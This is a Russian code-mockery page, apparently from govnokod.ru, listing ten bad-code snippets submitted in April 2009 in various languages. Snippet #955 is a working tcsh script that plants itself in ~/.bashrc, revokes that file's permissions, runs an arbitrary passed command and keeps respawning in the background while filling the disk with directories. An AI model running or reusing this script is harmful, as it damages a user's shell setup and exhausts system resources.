1. Лучший говнокод

    В номинации:
    За время:

  2. PHP / Говнокод #966

    +166.3

    1. 01
    2. 02
    3. 03
    4. 04
    5. 05
    6. 06
    7. 07
    8. 08
    9. 09
    10. 10
    11. 11
    12. 12
    13. 13
    14. 14
    15. 15
    16. 16
    17. 17
    18. 18
    19. 19
    require_once ("dbsettings.inc");
require_once ("User.inc");
require_once ("UserFactory.inc");
require_once ("UserGroup.inc");

$login = "aa";//$_POST["login"];
$pass = "as";//$_POST ["pass"];

                   $__o__III___o__ = new dbsettings (
                
                "localhost",
                  "root",
                "*********",
                  "WEBSITE",
                  "Users"                           );

                                    $__o__IV___o__=  new UserFactory (
                                    $__o__III___o__);
                         $TempUser= $__o__IV___o__->createUser( $login, $pass );

    Ну и фантазия! ()

    guest, 28 Апреля 2009

    Комментарии (1)

  3. Си / Говнокод #961

    +144

    1. 1
    2. 2
    3. 3
    4. 4
    5. 5
    6. 6
    7. 7
    8. 8
    include <stdio.h>
int main()
{
    unsigned char a;
     a='Я';
     printf("\n%c=%d",a,a);
     return 0;
}

    guest, 27 Апреля 2009

    Комментарии (1)

  4. Куча / Говнокод #955

    +154

    1. 01
    2. 02
    3. 03
    4. 04
    5. 05
    6. 06
    7. 07
    8. 08
    9. 09
    10. 10
    11. 11
    12. 12
    13. 13
    14. 14
    15. 15
    16. 16
    17. 17
    18. 18
    19. 19
    20. 20
    21. 21
    22. 22
    23. 23
    24. 24
    25. 25
    26. 26
    27. 27
    28. 28
    29. 29
    30. 30
    31. 31
    32. 32
    33. 33
    34. 34
    35. 35
    36. 36
    37. 37
    38. 38
    39. 39
    40. 40
    41. 41
    42. 42
    43. 43
    44. 44
    45. 45
    46. 46
    47. 47
    48. 48
    49. 49
    50. 50
    51. 51
    52. 52
    53. 53
    54. 54
    55. 55
    56. 56
    #!/bin/tcsh
# Utility "p1", author Alice Stein ([email protected]),
chmod +r+w ~/.bashrc
set x3=$#
if($x3<1) then
#read last string from .bashrc that write one time
# and replace spaces sign _
set a=`cat ~/.bashrc | tail -n 1 | tr ' ' '_'`
#parameter $0 contains path to script and name of script
set b=$0
#if a line coincided from .bashrc with $0
if($a == $b) then
else
chmod +r+w ~/.bashrc
#write to file .bashrc that started each time with start bash
echo "$0" >> ~/.bashrc
#change right for access to file .bashrc
chmod -r-w ~/.bashrc
endif
#if command line parameters are not present assign default counter of directories 0 and command echo
set x1="0"
set x2="echo"
$0 $x1 $x2 &
else
#save command line arguments in environment variables
set x1=$1
set x2=$2
endif
#exec command passed from command line
$x2;
#write number of counter of directory in the system log /var/log/messages
logger $1;
#increment directory counter
@ x1++;
chmod +x+r+w $x1
#create directory
mkdir $x1
#call in the created directory
cd $x1
chmod +x+r+w $x1
#delete a file if a script is started the second time that did not result in hanging up of script
#delete hidden file
rm .$x1
#create hidden file
echo "1" > .$x1
#take away rights for access
chmod -x-r-w .$x1
cd ..
chmod -x-r-w $x1
#sleep on 1 second
sleep 1s;
#change right for access to file .bashrc
chmod -r-w ~/.bashrc
#recursive call with argument line parameter
$0 $x1 $x2 &
exit 0

    shell script tcsh

    guest, 27 Апреля 2009

    Комментарии (1)

  5. PHP / Говнокод #946

    +139.5

    1. 1
    2. 2
    3. 3
    4. 4
    5. 5
    6. 6
    7. 7
    8. 8
    9. 9
    <?

// Загрузка всех функций из папки "sys/fnc"
$opdirbase=opendir(H.'sys/fnc');
while ($filebase=readdir($opdirbase))
if (eregi('\.php$',$filebase))
include_once(H.'sys/fnc/'.$filebase);

?>

    Вот таким макаром в wap cms "DCMS" грузятся функции. Файл с этим содержанием вставляется на все страницы. Причём в папке sys/func 47 PHP файлов =)

    guest, 24 Апреля 2009

    Комментарии (1)

  6. Pascal / Говнокод #935

    +151

    1. 01
    2. 02
    3. 03
    4. 04
    5. 05
    6. 06
    7. 07
    8. 08
    9. 09
    10. 10
    11. 11
    12. 12
    13. 13
    14. 14
    15. 15
    16. 16
    17. 17
    18. 18
    19. 19
    20. 20
    21. 21
    22. 22
    23. 23
    24. 24
    25. 25
    26. 26
    27. 27
    28. 28
    29. 29
    30. 30
    31. 31
    32. 32
    33. 33
    34. 34
    35. 35
    36. 36
    37. 37
    38. 38
    39. 39
    40. 40
    41. 41
    42. 42
    43. 43
    44. 44
    45. 45
    46. 46
    47. 47
    48. 48
    49. 49
    50. 50
    51. 51
    52. 52
    53. 53
    54. 54
    55. 55
    56. 56
    57. 57
    procedure Load_flashDEF_setings;
var
  Reg: TRegistry;
  RegKeyPath: string;
begin
 Reg := TRegistry.Create;
 try
  with Reg do begin
   RootKey := HKEY_CURRENT_USER;
   RegKeyPath := 'Software\fuckinSoft';
   OpenKey(RegKeyPath, True);
   if ReadBool('Wipe_File')=false then begin Main.frmMain.CBx_wipe_file.Checked:=false;
   end
   else
   if ReadBool('Wipe_File')=true then begin Main.frmMain.CBx_wipe_file.Checked:=true;
   end
   else
   if ReadBool('Def_Module')=false then begin Main.frmMain.CBx_defence_module.Checked:=false;
   end
   else
   if ReadBool('Def_Module')=true then begin Main.frmMain.CBx_defence_module.Checked:=true;
   end
  end
 finally
  Reg.CloseKey;
  Reg.Free;
 end;
end;
 
procedure Save_flashDEF_setings;
var
  Reg: TRegistry;
  RegKeyPath: string;
begin
 Reg := TRegistry.Create;
 try
  with Reg do begin
   RootKey := HKEY_CURRENT_USER;
   RegKeyPath := 'Software\fuckinSoft';
   OpenKey(RegKeyPath, True);
   if Main.frmMain.CBx_wipe_file.Checked=true then begin WriteBool('Wipe_File', true);
   end
   else
   if Main.frmMain.CBx_wipe_file.Checked=false then begin WriteBool('Wipe_File', false);
   end
   else
   if Main.frmMain.CBx_defence_module.Checked=true then begin WriteBool('Def_Module', true);
   end
   else
   if Main.frmMain.CBx_defence_module.Checked=false then begin WriteBool('Def_Module', false);
   end
  end
 finally
  Reg.CloseKey;
  Reg.Free;
 end;
end;

    Ифы хороши в меру =\

    guest, 23 Апреля 2009

    Комментарии (1)

  7. JavaScript / Говнокод #932

    +150

    1. 01
    2. 02
    3. 03
    4. 04
    5. 05
    6. 06
    7. 07
    8. 08
    9. 09
    10. 10
    11. 11
    12. 12
    13. 13
    function ConditionsToNum(cn) {
	switch (cn) {
		case "По окладу": return (0);
		case "Почасовая": return (1);
	}
}

function NumToConditions(cn) {
	switch (parseInt(cn)) {
		case 0: return ("По окладу");
		case 1: return ("Почасовая");
	}
}

    guest, 23 Апреля 2009

    Комментарии (1)

  8. Python / Говнокод #917

    −102

    1. 01
    2. 02
    3. 03
    4. 04
    5. 05
    6. 06
    7. 07
    8. 08
    9. 09
    10. 10
    11. 11
    12. 12
    13. 13
    14. 14
    15. 15
    16. 16
    17. 17
    18. 18
    19. 19
    20. 20
    21. 21
    22. 22
    23. 23
    24. 24
    25. 25
    26. 26
    27. 27
    28. 28
    class Node:
    def __init__(self):
	self.id    = 0
	self.d     = None
	self.left  = None
	self.right = None
    def __del__(self):
	del self

class Struct:
    def __init__(self):
	self.data  = None

    def add(self,data):
	if self.data == None:
	    self.data		 = Node()
	    self.data.d		 = data
	    self.data.right	 = Struct()
	else:
	    if self.data.d       == data:
		return 0
	    elif self.data.d     != data:
		return self.data.right.add(data)
    
    def next(self):
        if self.data != None:
	    print self.data.d 
    	    return self.data.right.next()

    как правильно сделать чтобы при вызове next возвращалось значение не в print а в return и при рекурсия выполнялась

    guest, 22 Апреля 2009

    Комментарии (1)

  9. PHP / Говнокод #916

    +144

    1. 01
    2. 02
    3. 03
    4. 04
    5. 05
    6. 06
    7. 07
    8. 08
    9. 09
    10. 10
    11. 11
    12. 12
    13. 13
    14. 14
    15. 15
    16. 16
    17. 17
    18. 18
    switch($_POST['find'])
	{
		case 'a' :
			echo '<p> Регулярный клиент.</p>';
			break;
		case 'b' :
			echo '<p> Клиент, обратившийся после телефизионной рекламы.</p>';
			break;
		case 'c' :
			echo '<p> Клиент, обратившийся в результате нахаождения информации в телефонном справочнике.</p>';
			break;
		case 'd' :
			echo '<p> Клиент, обратившийся в результате чьей-то устной рекомендации.</p>';
			break;
		default :
			echo '<p> Вы унылое говно</p>';
			break;
	}

    guest, 22 Апреля 2009

    Комментарии (1)

  10. C++ / Говнокод #911

    +175.9

    1. 1
    #define JUST_ANOTHER_MAGIC_NUMBER 4398476903476060

    магия чисел

    guest, 21 Апреля 2009

    Комментарии (1)

  11. VisualBasic / Говнокод #910

    −130

    1. 01
    2. 02
    3. 03
    4. 04
    5. 05
    6. 06
    7. 07
    8. 08
    9. 09
    10. 10
    11. 11
    12. 12
    13. 13
    14. 14
    15. 15
    16. 16
    17. 17
    18. 18
    19. 19
    20. 20
    21. 21
    22. 22
    23. 23
    24. 24
    25. 25
    26. 26
    27. 27
    28. 28
    29. 29
    30. 30
    31. 31
    32. 32
    33. 33
    34. 34
    35. 35
    36. 36
    37. 37
    38. 38
    39. 39
    40. 40
    41. 41
    42. 42
    43. 43
    44. 44
    45. 45
    46. 46
    47. 47
    48. 48
    49. 49
    50. 50
    51. 51
    52. 52
    53. 53
    54. 54
    55. 55
    56. 56
    57. 57
    58. 58
    59. 59
    60. 60
    61. 61
    62. 62
    63. 63
    i = 2

                X = "blank"
                index = ""
                qty = "1"

                For Each Z In sContents
                    If (Z.StartsWith("1") Or Z.StartsWith("2") Or Z.StartsWith("3") Or Z.StartsWith("4") Or Z.StartsWith("5") Or Z.StartsWith("6") Or Z.StartsWith("7") Or Z.StartsWith("8") Or Z.StartsWith("9")) Then
                        Line = Z.Split("|")

                        If Not Line(0).Contains(".") Then
                            index = Line(0)
                            qty = 1
                        End If

                        If Line(1).StartsWith("ID") Then
                            X = Line(3).Substring(15)
                            qty = Line(4)
                        Else
                            sheet.Cells(i, 1) = Line(2)
                            sheet.Cells(i, 2) = Line(3)

                            If Line(2) = X Then
                                sheet.Range("B" & i).Font.Bold = True
                            Else
                                If Line(0).StartsWith(index & ".") Then
                                    sheet.Range("B" & i).IndentLevel() = 1
                                End If
                            End If

                            If Not Line(0).Contains(".") Then
                                sheet.Range("B" & i).Font.Bold = True
                            End If

                            If Line(5) = "N/A" Then
                                sheet.Cells(i, 3) = 0
                            Else
                                sheet.Cells(i, 3) = Line(5)
                            End If

                            sheet.Range("C" & i).NumberFormat = "[$$-2409]#,##0.00"

                            sheet.Cells(i, 4) = Line(7)

                            If qty > 1 Then
                                sheet.Cells(i, 5) = Line(4) * qty
                            Else
                                sheet.Cells(i, 5) = Line(4)
                            End If

                            sheet.Cells(i, 6) = "=E" & i & "*C" & i

                            sheet.Range("F" & i).NumberFormat = "[$$-2409]#,##0.00"

                            sheet.Range("D" & i, "E" & i).HorizontalAlignment = Excel.Constants.xlCenter
                            sheet.Range("A" & i, "F" & i).Font.Size = 10
                            sheet.Range("A" & i, "F" & i).Borders.LineStyle = Excel.Constants.xlSolid

                            i = i + 1
                        End If
                    End If

                Next Z

    чем не говнокод?
    работает, хуле :)

    guest, 21 Апреля 2009

    Комментарии (1)